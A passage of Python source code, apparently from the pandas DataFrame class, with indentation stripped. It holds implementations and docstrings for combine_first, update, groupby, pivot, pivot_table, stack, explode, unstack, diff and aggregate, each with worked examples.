series[this_mask] = fill_value
otherSeries[other_mask] = fill_value
if col not in self.columns:
# If self DataFrame does not have col in other DataFrame,
# try to promote series, which is all NaN, as other_dtype.
new_dtype = other_dtype
try:
series = series.astype(new_dtype, copy=False)
except ValueError:
# e.g. new_dtype is integer types
pass
else:
# if we have different dtypes, possibly promote
new_dtype = find_common_type([this_dtype, other_dtype])
series = series.astype(new_dtype, copy=False)
otherSeries = otherSeries.astype(new_dtype, copy=False)
arr = func(series, otherSeries)
if isinstance(new_dtype, np.dtype):
# if new_dtype is an EA Dtype, then `func` is expected to return
# the correct dtype without any additional casting
arr = maybe_downcast_to_dtype(arr, new_dtype)
result[col] = arr
# convert_objects just in case
return self._constructor(result, index=new_index, columns=new_columns)
def combine_first(self, other: DataFrame) -> DataFrame:
"""
Update null elements with value in the same location in `other`.
Combine two DataFrame objects by filling null values in one DataFrame
with non-null values from other DataFrame. The row and column indexes
of the resulting DataFrame will be the union of the two.
Parameters
----------
other : DataFrame
Provided DataFrame to use to fill null values.
Returns
-------
DataFrame
The result of combining the provided DataFrame with the other object.
See Also
--------
DataFrame.combine : Perform series-wise operation on two DataFrames
using a given function.
Examples
--------
>>> df1 = pd.DataFrame({'A': [None, 0], 'B': [None, 4]})
>>> df2 = pd.DataFrame({'A': [1, 1], 'B': [3, 3]})
>>> df1.combine_first(df2)
A B
0 1.0 3.0
1 0.0 4.0
Null values still persist if the location of that null value
does not exist in `other`
>>> df1 = pd.DataFrame({'A': [None, 0], 'B': [4, None]})
>>> df2 = pd.DataFrame({'B': [3, 3], 'C': [1, 1]}, index=[1, 2])
>>> df1.combine_first(df2)
A B C
0 NaN 4.0 NaN
1 0.0 3.0 1.0
2 NaN 3.0 1.0
"""
import pandas.core.computation.expressions as expressions
def combiner(x, y):
mask = extract_array(isna(x))
x_values = extract_array(x, extract_numpy=True)
y_values = extract_array(y, extract_numpy=True)
# If the column y in other DataFrame is not in first DataFrame,
# just return y_values.
if y.name not in self.columns:
return y_values
return expressions.where(mask, y_values, x_values)
combined = self.combine(other, combiner, overwrite=False)
dtypes = {
col: find_common_type([self.dtypes[col], other.dtypes[col]])
for col in self.columns.intersection(other.columns)
if not is_dtype_equal(combined.dtypes[col], self.dtypes[col])
}
if dtypes:
combined = combined.astype(dtypes)
return combined
def update(
self,
other,
join: str = "left",
overwrite: bool = True,
filter_func=None,
errors: str = "ignore",
) -> None:
"""
Modify in place using non-NA values from another DataFrame.
Aligns on indices. There is no return value.
Parameters
----------
other : DataFrame, or object coercible into a DataFrame
Should have at least one matching index/column label
with the original DataFrame. If a Series is passed,
its name attribute must be set, and that will be
used as the column name to align with the original DataFrame.
join : {'left'}, default 'left'
Only left join is implemented, keeping the index and columns of the
original object.
overwrite : bool, default True
How to handle non-NA values for overlapping keys:
* True: overwrite original DataFrame's values
with values from `other`.
* False: only update values that are NA in
the original DataFrame.
filter_func : callable(1d-array) -> bool 1d-array, optional
Can choose to replace values other than NA. Return True for values
that should be updated.
errors : {'raise', 'ignore'}, default 'ignore'
If 'raise', will raise a ValueError if the DataFrame and `other`
both contain non-NA data in the same place.
Returns
-------
None : method directly changes calling object
Raises
------
ValueError
* When `errors='raise'` and there's overlapping non-NA data.
* When `errors` is not either `'ignore'` or `'raise'`
NotImplementedError
* If `join != 'left'`
See Also
--------
dict.update : Similar method for dictionaries.
DataFrame.merge : For column(s)-on-column(s) operations.
Examples
--------
>>> df = pd.DataFrame({'A': [1, 2, 3],
... 'B': [400, 500, 600]})
>>> new_df = pd.DataFrame({'B': [4, 5, 6],
... 'C': [7, 8, 9]})
>>> df.update(new_df)
>>> df
A B
0 1 4
1 2 5
2 3 6
The DataFrame's length does not increase as a result of the update,
only values at matching index/column labels are updated.
>>> df = pd.DataFrame({'A': ['a', 'b', 'c'],
... 'B': ['x', 'y', 'z']})
>>> new_df = pd.DataFrame({'B': ['d', 'e', 'f', 'g', 'h', 'i']})
>>> df.update(new_df)
>>> df
A B
0 a d
1 b e
2 c f
For Series, its name attribute must be set.
>>> df = pd.DataFrame({'A': ['a', 'b', 'c'],
... 'B': ['x', 'y', 'z']})
>>> new_column = pd.Series(['d', 'e'], name='B', index=[0, 2])
>>> df.update(new_column)
>>> df
A B
0 a d
1 b y
2 c e
>>> df = pd.DataFrame({'A': ['a', 'b', 'c'],
... 'B': ['x', 'y', 'z']})
>>> new_df = pd.DataFrame({'B': ['d', 'e']}, index=[1, 2])
>>> df.update(new_df)
>>> df
A B
0 a x
1 b d
2 c e
If `other` contains NaNs the corresponding values are not updated
in the original dataframe.
>>> df = pd.DataFrame({'A': [1, 2, 3],
... 'B': [400, 500, 600]})
>>> new_df = pd.DataFrame({'B': [4, np.nan, 6]})
>>> df.update(new_df)
>>> df
A B
0 1 4.0
1 2 500.0
2 3 6.0
"""
import pandas.core.computation.expressions as expressions
# TODO: Support other joins
if join != "left": # pragma: no cover
raise NotImplementedError("Only left join is supported")
if errors not in ["ignore", "raise"]:
raise ValueError("The parameter errors must be either 'ignore' or 'raise'")
if not isinstance(other, DataFrame):
other = DataFrame(other)
other = other.reindex_like(self)
for col in self.columns:
this = self[col]._values
that = other[col]._values
if filter_func is not None:
with np.errstate(all="ignore"):
mask = ~filter_func(this) | isna(that)
else:
if errors == "raise":
mask_this = notna(that)
mask_that = notna(this)
if any(mask_this & mask_that):
raise ValueError("Data overlaps.")
if overwrite:
mask = isna(that)
else:
mask = notna(this)
# don't overwrite columns unnecessarily
if mask.all():
continue
self.loc[:, col] = expressions.where(mask, this, that)
# ----------------------------------------------------------------------
# Data reshaping
@Appender(
"""
Examples
--------
>>> df = pd.DataFrame({'Animal': ['Falcon', 'Falcon',
... 'Parrot', 'Parrot'],
... 'Max Speed': [380., 370., 24., 26.]})
>>> df
Animal Max Speed
0 Falcon 380.0
1 Falcon 370.0
2 Parrot 24.0
3 Parrot 26.0
>>> df.groupby(['Animal']).mean()
Max Speed
Animal
Falcon 375.0
Parrot 25.0
**Hierarchical Indexes**
We can groupby different levels of a hierarchical index
using the `level` parameter:
>>> arrays = [['Falcon', 'Falcon', 'Parrot', 'Parrot'],
... ['Captive', 'Wild', 'Captive', 'Wild']]
>>> index = pd.MultiIndex.from_arrays(arrays, names=('Animal', 'Type'))
>>> df = pd.DataFrame({'Max Speed': [390., 350., 30., 20.]},
... index=index)
>>> df
Max Speed
Animal Type
Falcon Captive 390.0
Wild 350.0
Parrot Captive 30.0
Wild 20.0
>>> df.groupby(level=0).mean()
Max Speed
Animal
Falcon 370.0
Parrot 25.0
>>> df.groupby(level="Type").mean()
Max Speed
Type
Captive 210.0
Wild 185.0
We can also choose to include NA in group keys or not by setting
`dropna` parameter, the default setting is `True`.
>>> l = [[1, 2, 3], [1, None, 4], [2, 1, 3], [1, 2, 2]]
>>> df = pd.DataFrame(l, columns=["a", "b", "c"])
>>> df.groupby(by=["b"]).sum()
a c
b
1.0 2 3
2.0 2 5
>>> df.groupby(by=["b"], dropna=False).sum()
a c
b
1.0 2 3
2.0 2 5
NaN 1 4
>>> l = [["a", 12, 12], [None, 12.3, 33.], ["b", 12.3, 123], ["a", 1, 1]]
>>> df = pd.DataFrame(l, columns=["a", "b", "c"])
>>> df.groupby(by="a").sum()
b c
a
a 13.0 13.0
b 12.3 123.0
>>> df.groupby(by="a", dropna=False).sum()
b c
a
a 13.0 13.0
b 12.3 123.0
NaN 12.3 33.0
"""
)
@Appender(_shared_docs["groupby"] % _shared_doc_kwargs)
def groupby(
self,
by=None,
axis: Axis = 0,
level: Level | None = None,
as_index: bool = True,
sort: bool = True,
group_keys: bool = True,
squeeze: bool | lib.NoDefault = no_default,
observed: bool = False,
dropna: bool = True,
) -> DataFrameGroupBy:
from pandas.core.groupby.generic import DataFrameGroupBy
if squeeze is not no_default:
warnings.warn(
(
"The `squeeze` parameter is deprecated and "
"will be removed in a future version."
),
FutureWarning,
stacklevel=find_stack_level(),
)
else:
squeeze = False
if level is None and by is None:
raise TypeError("You have to supply one of 'by' and 'level'")
axis = self._get_axis_number(axis)
# https://github.com/python/mypy/issues/7642
# error: Argument "squeeze" to "DataFrameGroupBy" has incompatible type
# "Union[bool, NoDefault]"; expected "bool"
return DataFrameGroupBy(
obj=self,
keys=by,
axis=axis,
level=level,
as_index=as_index,
sort=sort,
group_keys=group_keys,
squeeze=squeeze, # type: ignore[arg-type]
observed=observed,
dropna=dropna,
)
_shared_docs[
"pivot"
] = """
Return reshaped DataFrame organized by given index / column values.
Reshape data (produce a "pivot" table) based on column values. Uses
unique values from specified `index` / `columns` to form axes of the
resulting DataFrame. This function does not support data
aggregation, multiple values will result in a MultiIndex in the
columns. See the :ref:`User Guide <reshaping>` for more on reshaping.
Parameters
----------%s
index : str or object or a list of str, optional
Column to use to make new frame's index. If None, uses
existing index.
.. versionchanged:: 1.1.0
Also accept list of index names.
columns : str or object or a list of str
Column to use to make new frame's columns.
.. versionchanged:: 1.1.0
Also accept list of columns names.
values : str, object or a list of the previous, optional
Column(s) to use for populating new frame's values. If not
specified, all remaining columns will be used and the result will
have hierarchically indexed columns.
Returns
-------
DataFrame
Returns reshaped DataFrame.
Raises
------
ValueError:
When there are any `index`, `columns` combinations with multiple
values. `DataFrame.pivot_table` when you need to aggregate.
See Also
--------
DataFrame.pivot_table : Generalization of pivot that can handle
duplicate values for one index/column pair.
DataFrame.unstack : Pivot based on the index values instead of a
column.
wide_to_long : Wide panel to long format. Less flexible but more
user-friendly than melt.
Notes
-----
For finer-tuned control, see hierarchical indexing documentation along
with the related stack/unstack methods.
Reference :ref:`the user guide <reshaping.pivot>` for more examples.
Examples
--------
>>> df = pd.DataFrame({'foo': ['one', 'one', 'one', 'two', 'two',
... 'two'],
... 'bar': ['A', 'B', 'C', 'A', 'B', 'C'],
... 'baz': [1, 2, 3, 4, 5, 6],
... 'zoo': ['x', 'y', 'z', 'q', 'w', 't']})
>>> df
foo bar baz zoo
0 one A 1 x
1 one B 2 y
2 one C 3 z
3 two A 4 q
4 two B 5 w
5 two C 6 t
>>> df.pivot(index='foo', columns='bar', values='baz')
bar A B C
foo
one 1 2 3
two 4 5 6
>>> df.pivot(index='foo', columns='bar')['baz']
bar A B C
foo
one 1 2 3
two 4 5 6
>>> df.pivot(index='foo', columns='bar', values=['baz', 'zoo'])
baz zoo
bar A B C A B C
foo
one 1 2 3 x y z
two 4 5 6 q w t
You could also assign a list of column names or a list of index names.
>>> df = pd.DataFrame({
... "lev1": [1, 1, 1, 2, 2, 2],
... "lev2": [1, 1, 2, 1, 1, 2],
... "lev3": [1, 2, 1, 2, 1, 2],
... "lev4": [1, 2, 3, 4, 5, 6],
... "values": [0, 1, 2, 3, 4, 5]})
>>> df
lev1 lev2 lev3 lev4 values
0 1 1 1 1 0
1 1 1 2 2 1
2 1 2 1 3 2
3 2 1 2 4 3
4 2 1 1 5 4
5 2 2 2 6 5
>>> df.pivot(index="lev1", columns=["lev2", "lev3"],values="values")
lev2 1 2
lev3 1 2 1 2
lev1
1 0.0 1.0 2.0 NaN
2 4.0 3.0 NaN 5.0
>>> df.pivot(index=["lev1", "lev2"], columns=["lev3"],values="values")
lev3 1 2
lev1 lev2
1 1 0.0 1.0
2 2.0 NaN
2 1 4.0 3.0
2 NaN 5.0
A ValueError is raised if there are any duplicates.
>>> df = pd.DataFrame({"foo": ['one', 'one', 'two', 'two'],
... "bar": ['A', 'A', 'B', 'C'],
... "baz": [1, 2, 3, 4]})
>>> df
foo bar baz
0 one A 1
1 one A 2
2 two B 3
3 two C 4
Notice that the first two rows are the same for our `index`
and `columns` arguments.
>>> df.pivot(index='foo', columns='bar', values='baz')
Traceback (most recent call last):
...
ValueError: Index contains duplicate entries, cannot reshape
"""
@Substitution("")
@Appender(_shared_docs["pivot"])
def pivot(self, index=None, columns=None, values=None) -> DataFrame:
from pandas.core.reshape.pivot import pivot
return pivot(self, index=index, columns=columns, values=values)
_shared_docs[
"pivot_table"
] = """
Create a spreadsheet-style pivot table as a DataFrame.
The levels in the pivot table will be stored in MultiIndex objects
(hierarchical indexes) on the index and columns of the result DataFrame.
Parameters
----------%s
values : column to aggregate, optional
index : column, Grouper, array, or list of the previous
If an array is passed, it must be the same length as the data. The
list can contain any of the other types (except list).
Keys to group by on the pivot table index. If an array is passed,
it is being used as the same manner as column values.
columns : column, Grouper, array, or list of the previous
If an array is passed, it must be the same length as the data. The
list can contain any of the other types (except list).
Keys to group by on the pivot table column. If an array is passed,
it is being used as the same manner as column values.
aggfunc : function, list of functions, dict, default numpy.mean
If list of functions passed, the resulting pivot table will have
hierarchical columns whose top level are the function names
(inferred from the function objects themselves)
If dict is passed, the key is column to aggregate and value
is function or list of functions.
fill_value : scalar, default None
Value to replace missing values with (in the resulting pivot table,
after aggregation).
margins : bool, default False
Add all row / columns (e.g. for subtotal / grand totals).
dropna : bool, default True
Do not include columns whose entries are all NaN.
margins_name : str, default 'All'
Name of the row / column that will contain the totals
when margins is True.
observed : bool, default False
This only applies if any of the groupers are Categoricals.
If True: only show observed values for categorical groupers.
If False: show all values for categorical groupers.
.. versionchanged:: 0.25.0
sort : bool, default True
Specifies if the result should be sorted.
.. versionadded:: 1.3.0
Returns
-------
DataFrame
An Excel style pivot table.
See Also
--------
DataFrame.pivot : Pivot without aggregation that can handle
non-numeric data.
DataFrame.melt: Unpivot a DataFrame from wide to long format,
optionally leaving identifiers set.
wide_to_long : Wide panel to long format. Less flexible but more
user-friendly than melt.
Notes
-----
Reference :ref:`the user guide <reshaping.pivot>` for more examples.
Examples
--------
>>> df = pd.DataFrame({"A": ["foo", "foo", "foo", "foo", "foo",
... "bar", "bar", "bar", "bar"],
... "B": ["one", "one", "one", "two", "two",
... "one", "one", "two", "two"],
... "C": ["small", "large", "large", "small",
... "small", "large", "small", "small",
... "large"],
... "D": [1, 2, 2, 3, 3, 4, 5, 6, 7],
... "E": [2, 4, 5, 5, 6, 6, 8, 9, 9]})
>>> df
A B C D E
0 foo one small 1 2
1 foo one large 2 4
2 foo one large 2 5
3 foo two small 3 5
4 foo two small 3 6
5 bar one large 4 6
6 bar one small 5 8
7 bar two small 6 9
8 bar two large 7 9
This first example aggregates values by taking the sum.
>>> table = pd.pivot_table(df, values='D', index=['A', 'B'],
... columns=['C'], aggfunc=np.sum)
>>> table
C large small
A B
bar one 4.0 5.0
two 7.0 6.0
foo one 4.0 1.0
two NaN 6.0
We can also fill missing values using the `fill_value` parameter.
>>> table = pd.pivot_table(df, values='D', index=['A', 'B'],
... columns=['C'], aggfunc=np.sum, fill_value=0)
>>> table
C large small
A B
bar one 4 5
two 7 6
foo one 4 1
two 0 6
The next example aggregates by taking the mean across multiple columns.
>>> table = pd.pivot_table(df, values=['D', 'E'], index=['A', 'C'],
... aggfunc={'D': np.mean,
... 'E': np.mean})
>>> table
D E
A C
bar large 5.500000 7.500000
small 5.500000 8.500000
foo large 2.000000 4.500000
small 2.333333 4.333333
We can also calculate multiple types of aggregations for any given
value column.
>>> table = pd.pivot_table(df, values=['D', 'E'], index=['A', 'C'],
... aggfunc={'D': np.mean,
... 'E': [min, max, np.mean]})
>>> table
D E
mean max mean min
A C
bar large 5.500000 9 7.500000 6
small 5.500000 9 8.500000 8
foo large 2.000000 5 4.500000 4
small 2.333333 6 4.333333 2
"""
@Substitution("")
@Appender(_shared_docs["pivot_table"])
def pivot_table(
self,
values=None,
index=None,
columns=None,
aggfunc="mean",
fill_value=None,
margins=False,
dropna=True,
margins_name="All",
observed=False,
sort=True,
) -> DataFrame:
from pandas.core.reshape.pivot import pivot_table
return pivot_table(
self,
values=values,
index=index,
columns=columns,
aggfunc=aggfunc,
fill_value=fill_value,
margins=margins,
dropna=dropna,
margins_name=margins_name,
observed=observed,
sort=sort,
)
def stack(self, level: Level = -1, dropna: bool = True):
"""
Stack the prescribed level(s) from columns to index.
Return a reshaped DataFrame or Series having a multi-level
index with one or more new inner-most levels compared to the current
DataFrame. The new inner-most levels are created by pivoting the
columns of the current dataframe:
- if the columns have a single level, the output is a Series;
- if the columns have multiple levels, the new index
level(s) is (are) taken from the prescribed level(s) and
the output is a DataFrame.
Parameters
----------
level : int, str, list, default -1
Level(s) to stack from the column axis onto the index
axis, defined as one index or label, or a list of indices
or labels.
dropna : bool, default True
Whether to drop rows in the resulting Frame/Series with
missing values. Stacking a column level onto the index
axis can create combinations of index and column values
that are missing from the original dataframe. See Examples
section.
Returns
-------
DataFrame or Series
Stacked dataframe or series.
See Also
--------
DataFrame.unstack : Unstack prescribed level(s) from index axis
onto column axis.
DataFrame.pivot : Reshape dataframe from long format to wide
format.
DataFrame.pivot_table : Create a spreadsheet-style pivot table
as a DataFrame.
Notes
-----
The function is named by analogy with a collection of books
being reorganized from being side by side on a horizontal
position (the columns of the dataframe) to being stacked
vertically on top of each other (in the index of the
dataframe).
Reference :ref:`the user guide <reshaping.stacking>` for more examples.
Examples
--------
**Single level columns**
>>> df_single_level_cols = pd.DataFrame([[0, 1], [2, 3]],
... index=['cat', 'dog'],
... columns=['weight', 'height'])
Stacking a dataframe with a single level column axis returns a Series:
>>> df_single_level_cols
weight height
cat 0 1
dog 2 3
>>> df_single_level_cols.stack()
cat weight 0
height 1
dog weight 2
height 3
dtype: int64
**Multi level columns: simple case**
>>> multicol1 = pd.MultiIndex.from_tuples([('weight', 'kg'),
... ('weight', 'pounds')])
>>> df_multi_level_cols1 = pd.DataFrame([[1, 2], [2, 4]],
... index=['cat', 'dog'],
... columns=multicol1)
Stacking a dataframe with a multi-level column axis:
>>> df_multi_level_cols1
weight
kg pounds
cat 1 2
dog 2 4
>>> df_multi_level_cols1.stack()
weight
cat kg 1
pounds 2
dog kg 2
pounds 4
**Missing values**
>>> multicol2 = pd.MultiIndex.from_tuples([('weight', 'kg'),
... ('height', 'm')])
>>> df_multi_level_cols2 = pd.DataFrame([[1.0, 2.0], [3.0, 4.0]],
... index=['cat', 'dog'],
... columns=multicol2)
It is common to have missing values when stacking a dataframe
with multi-level columns, as the stacked dataframe typically
has more values than the original dataframe. Missing values
are filled with NaNs:
>>> df_multi_level_cols2
weight height
kg m
cat 1.0 2.0
dog 3.0 4.0
>>> df_multi_level_cols2.stack()
height weight
cat kg NaN 1.0
m 2.0 NaN
dog kg NaN 3.0
m 4.0 NaN
**Prescribing the level(s) to be stacked**
The first parameter controls which level or levels are stacked:
>>> df_multi_level_cols2.stack(0)
kg m
cat height NaN 2.0
weight 1.0 NaN
dog height NaN 4.0
weight 3.0 NaN
>>> df_multi_level_cols2.stack([0, 1])
cat height m 2.0
weight kg 1.0
dog height m 4.0
weight kg 3.0
dtype: float64
**Dropping missing values**
>>> df_multi_level_cols3 = pd.DataFrame([[None, 1.0], [2.0, 3.0]],
... index=['cat', 'dog'],
... columns=multicol2)
Note that rows where all values are missing are dropped by
default but this behaviour can be controlled via the dropna
keyword parameter:
>>> df_multi_level_cols3
weight height
kg m
cat NaN 1.0
dog 2.0 3.0
>>> df_multi_level_cols3.stack(dropna=False)
height weight
cat kg NaN NaN
m 1.0 NaN
dog kg NaN 2.0
m 3.0 NaN
>>> df_multi_level_cols3.stack(dropna=True)
height weight
cat m 1.0 NaN
dog kg NaN 2.0
m 3.0 NaN
"""
from pandas.core.reshape.reshape import (
stack,
stack_multiple,
)
if isinstance(level, (tuple, list)):
result = stack_multiple(self, level, dropna=dropna)
else:
result = stack(self, level, dropna=dropna)
return result.__finalize__(self, method="stack")
def explode(
self,
column: IndexLabel,
ignore_index: bool = False,
) -> DataFrame:
"""
Transform each element of a list-like to a row, replicating index values.
.. versionadded:: 0.25.0
Parameters
----------
column : IndexLabel
Column(s) to explode.
For multiple columns, specify a non-empty list with each element
be str or tuple, and all specified columns their list-like data
on same row of the frame must have matching length.
.. versionadded:: 1.3.0
Multi-column explode
ignore_index : bool, default False
If True, the resulting index will be labeled 0, 1, …, n - 1.
.. versionadded:: 1.1.0
Returns
-------
DataFrame
Exploded lists to rows of the subset columns;
index will be duplicated for these rows.
Raises
------
ValueError :
* If columns of the frame are not unique.
* If specified columns to explode is empty list.
* If specified columns to explode have not matching count of
elements rowwise in the frame.
See Also
--------
DataFrame.unstack : Pivot a level of the (necessarily hierarchical)
index labels.
DataFrame.melt : Unpivot a DataFrame from wide format to long format.
Series.explode : Explode a DataFrame from list-like columns to long format.
Notes
-----
This routine will explode list-likes including lists, tuples, sets,
Series, and np.ndarray. The result dtype of the subset rows will
be object. Scalars will be returned unchanged, and empty list-likes will
result in a np.nan for that row. In addition, the ordering of rows in the
output will be non-deterministic when exploding sets.
Reference :ref:`the user guide <reshaping.explode>` for more examples.
Examples
--------
>>> df = pd.DataFrame({'A': [[0, 1, 2], 'foo', [], [3, 4]],
... 'B': 1,
... 'C': [['a', 'b', 'c'], np.nan, [], ['d', 'e']]})
>>> df
A B C
0 [0, 1, 2] 1 [a, b, c]
1 foo 1 NaN
2 [] 1 []
3 [3, 4] 1 [d, e]
Single-column explode.
>>> df.explode('A')
A B C
0 0 1 [a, b, c]
0 1 1 [a, b, c]
0 2 1 [a, b, c]
1 foo 1 NaN
2 NaN 1 []
3 3 1 [d, e]
3 4 1 [d, e]
Multi-column explode.
>>> df.explode(list('AC'))
A B C
0 0 1 a
0 1 1 b
0 2 1 c
1 foo 1 NaN
2 NaN 1 NaN
3 3 1 d
3 4 1 e
"""
if not self.columns.is_unique:
raise ValueError("columns must be unique")
columns: list[Hashable]
if is_scalar(column) or isinstance(column, tuple):
columns = [column]
elif isinstance(column, list) and all(
map(lambda c: is_scalar(c) or isinstance(c, tuple), column)
):
if not column:
raise ValueError("column must be nonempty")
if len(column) > len(set(column)):
raise ValueError("column must be unique")
columns = column
else:
raise ValueError("column must be a scalar, tuple, or list thereof")
df = self.reset_index(drop=True)
if len(columns) == 1:
result = df[columns[0]].explode()
else:
mylen = lambda x: len(x) if is_list_like(x) else -1
counts0 = self[columns[0]].apply(mylen)
for c in columns[1:]:
if not all(counts0 == self[c].apply(mylen)):
raise ValueError("columns must have matching element counts")
result = DataFrame({c: df[c].explode() for c in columns})
result = df.drop(columns, axis=1).join(result)
if ignore_index:
result.index = default_index(len(result))
else:
result.index = self.index.take(result.index)
result = result.reindex(columns=self.columns, copy=False)
return result
def unstack(self, level: Level = -1, fill_value=None):
"""
Pivot a level of the (necessarily hierarchical) index labels.
Returns a DataFrame having a new level of column labels whose inner-most level
consists of the pivoted index labels.
If the index is not a MultiIndex, the output will be a Series
(the analogue of stack when the columns are not a MultiIndex).
Parameters
----------
level : int, str, or list of these, default -1 (last level)
Level(s) of index to unstack, can pass level name.
fill_value : int, str or dict
Replace NaN with this value if the unstack produces missing values.
Returns
-------
Series or DataFrame
See Also
--------
DataFrame.pivot : Pivot a table based on column values.
DataFrame.stack : Pivot a level of the column labels (inverse operation
from `unstack`).
Notes
-----
Reference :ref:`the user guide <reshaping.stacking>` for more examples.
Examples
--------
>>> index = pd.MultiIndex.from_tuples([('one', 'a'), ('one', 'b'),
... ('two', 'a'), ('two', 'b')])
>>> s = pd.Series(np.arange(1.0, 5.0), index=index)
>>> s
one a 1.0
b 2.0
two a 3.0
b 4.0
dtype: float64
>>> s.unstack(level=-1)
a b
one 1.0 2.0
two 3.0 4.0
>>> s.unstack(level=0)
one two
a 1.0 3.0
b 2.0 4.0
>>> df = s.unstack(level=0)
>>> df.unstack()
one a 1.0
b 2.0
two a 3.0
b 4.0
dtype: float64
"""
from pandas.core.reshape.reshape import unstack
result = unstack(self, level, fill_value)
return result.__finalize__(self, method="unstack")
@Appender(_shared_docs["melt"] % {"caller": "df.melt(", "other": "melt"})
def melt(
self,
id_vars=None,
value_vars=None,
var_name=None,
value_name="value",
col_level: Level | None = None,
ignore_index: bool = True,
) -> DataFrame:
return melt(
self,
id_vars=id_vars,
value_vars=value_vars,
var_name=var_name,
value_name=value_name,
col_level=col_level,
ignore_index=ignore_index,
)
# ----------------------------------------------------------------------
# Time series-related
@doc(
Series.diff,
klass="Dataframe",
extra_params="axis : {0 or 'index', 1 or 'columns'}, default 0\n "
"Take difference over rows (0) or columns (1).\n",
other_klass="Series",
examples=dedent(
"""
Difference with previous row
>>> df = pd.DataFrame({'a': [1, 2, 3, 4, 5, 6],
... 'b': [1, 1, 2, 3, 5, 8],
... 'c': [1, 4, 9, 16, 25, 36]})
>>> df
a b c
0 1 1 1
1 2 1 4
2 3 2 9
3 4 3 16
4 5 5 25
5 6 8 36
>>> df.diff()
a b c
0 NaN NaN NaN
1 1.0 0.0 3.0
2 1.0 1.0 5.0
3 1.0 1.0 7.0
4 1.0 2.0 9.0
5 1.0 3.0 11.0
Difference with previous column
>>> df.diff(axis=1)
a b c
0 NaN 0 0
1 NaN -1 3
2 NaN -1 7
3 NaN -1 13
4 NaN 0 20
5 NaN 2 28
Difference with 3rd previous row
>>> df.diff(periods=3)
a b c
0 NaN NaN NaN
1 NaN NaN NaN
2 NaN NaN NaN
3 3.0 2.0 15.0
4 3.0 4.0 21.0
5 3.0 6.0 27.0
Difference with following row
>>> df.diff(periods=-1)
a b c
0 -1.0 0.0 -3.0
1 -1.0 -1.0 -5.0
2 -1.0 -1.0 -7.0
3 -1.0 -2.0 -9.0
4 -1.0 -3.0 -11.0
5 NaN NaN NaN
Overflow in input dtype
>>> df = pd.DataFrame({'a': [1, 0]}, dtype=np.uint8)
>>> df.diff()
a
0 NaN
1 255.0"""
),
)
def diff(self, periods: int = 1, axis: Axis = 0) -> DataFrame:
if not lib.is_integer(periods):
if not (
is_float(periods)
# error: "int" has no attribute "is_integer"
and periods.is_integer() # type: ignore[attr-defined]
):
raise ValueError("periods must be an integer")
periods = int(periods)
axis = self._get_axis_number(axis)
if axis == 1 and periods != 0:
return self - self.shift(periods, axis=axis)
new_data = self._mgr.diff(n=periods, axis=axis)
return self._constructor(new_data).__finalize__(self, "diff")
# ----------------------------------------------------------------------
# Function application
def _gotitem(
self,
key: IndexLabel,
ndim: int,
subset: DataFrame | Series | None = None,
) -> DataFrame | Series:
"""
Sub-classes to define. Return a sliced object.
Parameters
----------
key : string / list of selections
ndim : {1, 2}
requested ndim of result
subset : object, default None
subset to act on
"""
if subset is None:
subset = self
elif subset.ndim == 1: # is Series
return subset
# TODO: _shallow_copy(subset)?
return subset[key]
_agg_summary_and_see_also_doc = dedent(
"""
The aggregation operations are always performed over an axis, either the
index (default) or the column axis. This behavior is different from
`numpy` aggregation functions (`mean`, `median`, `prod`, `sum`, `std`,
`var`), where the default is to compute the aggregation of the flattened
array, e.g., ``numpy.mean(arr_2d)`` as opposed to
``numpy.mean(arr_2d, axis=0)``.
`agg` is an alias for `aggregate`. Use the alias.
See Also
--------
DataFrame.apply : Perform any type of operations.
DataFrame.transform : Perform transformation type operations.
core.groupby.GroupBy : Perform operations over groups.
core.resample.Resampler : Perform operations over resampled bins.
core.window.Rolling : Perform operations over rolling window.
core.window.Expanding : Perform operations over expanding window.
core.window.ExponentialMovingWindow : Perform operation over exponential weighted
window.
"""
)
_agg_examples_doc = dedent(
"""
Examples
--------
>>> df = pd.DataFrame([[1, 2, 3],
... [4, 5, 6],
... [7, 8, 9],
... [np.nan, np.nan, np.nan]],
... columns=['A', 'B', 'C'])
Aggregate these functions over the rows.
>>> df.agg(['sum', 'min'])
A B C
sum 12.0 15.0 18.0
min 1.0 2.0 3.0
Different aggregations per column.
>>> df.agg({'A' : ['sum', 'min'], 'B' : ['min', 'max']})
A B
sum 12.0 NaN
min 1.0 2.0
max NaN 8.0
Aggregate different functions over the columns and rename the index of the resulting
DataFrame.
>>> df.agg(x=('A', max), y=('B', 'min'), z=('C', np.mean))
A B C
x 7.0 NaN NaN
y NaN 2.0 NaN
z NaN NaN 6.0
Aggregate over the columns.
>>> df.agg("mean", axis="columns")
0 2.0
1 5.0
2 8.0
3 NaN
dtype: float64
"""
)
@doc(
_shared_docs["aggregate"],
klass=_shared_doc_kwargs["klass"],
axis=_shared_doc_kwargs["axis"],
see_also=_agg_summary_and_see_also_doc,
examples=_agg_examples_doc,
)
def aggregate(self, func=None, axis: Axis = 0, *args, **kwargs):
from pandas.core.apply import frame_apply
axis = self._get_axis_number(axis)
relabeling, func, columns, order = reconstruct_func(func, **kwargs)
op = frame_apply(self, func=func, axis=axis, args=args, kwargs=kwargs)
result = op.agg()
if relabeling:
# This is to keep the order to columns occurrence unchanged, and also
# keep the order of new columns occurrence unchanged
# For the return values of reconstruct_func, if relabeling is
# False, columns and order will be None.
assert columns is not None
assert order is not None
result_in_dict = relabel_result(result, func, columns, order)
result = DataFrame(result_in_dict, index=columns)
return result
agg = aggregate
@doc(
_shared_docs["transform"],
klass=_shared_doc_kwargs["klass"],
axis=_shared_doc_kwargs["axis"],
)
def transform(
self, func: AggFuncType, axis: Axis = 0, *args, **kwargs
) -> DataFrame:
from pandas.core.apply import frame_apply
op = frame_apply(self, func=func, axis=axis, args=args, kwargs=kwargs)
result = op.transform()
assert isinstance(result, DataFrame)
return result
def apply(
self,
func: AggFuncType,
axis: Axis = 0,
raw: bool = False,
result_type=None,
args=(),
**kwargs,
):
"""
Apply a function along an axis of the DataFrame.
Objects passed to the function are Series objects whose index is
either the DataFrame's index (``axis=0``) or the DataFrame's columns
(``axis=1``). By default (``result_type=None``), the final return type
is inferred from the return type of the applied function. Otherwise,
it depends on the `result_type` argument.
Parameters
----------
func : function
Function to apply to each column or row.
axis : {0 or 'index', 1 or 'columns'}, default 0
Axis along which the function is applied:
* 0 or 'index': apply function to each column.
* 1 or 'columns': apply function to each row.
raw : bool, default False
Determines if row or column is passed as a Series or ndarray object:
* ``False`` : passes each row or column as a Series to the
function.
* ``True`` : the passed function will receive ndarray objects
instead.
If you are just applying a NumPy reduction function this will
achieve much better performance.
result_type : {'expand', 'reduce', 'broadcast', None}, default None
These only act when ``axis=1`` (columns):
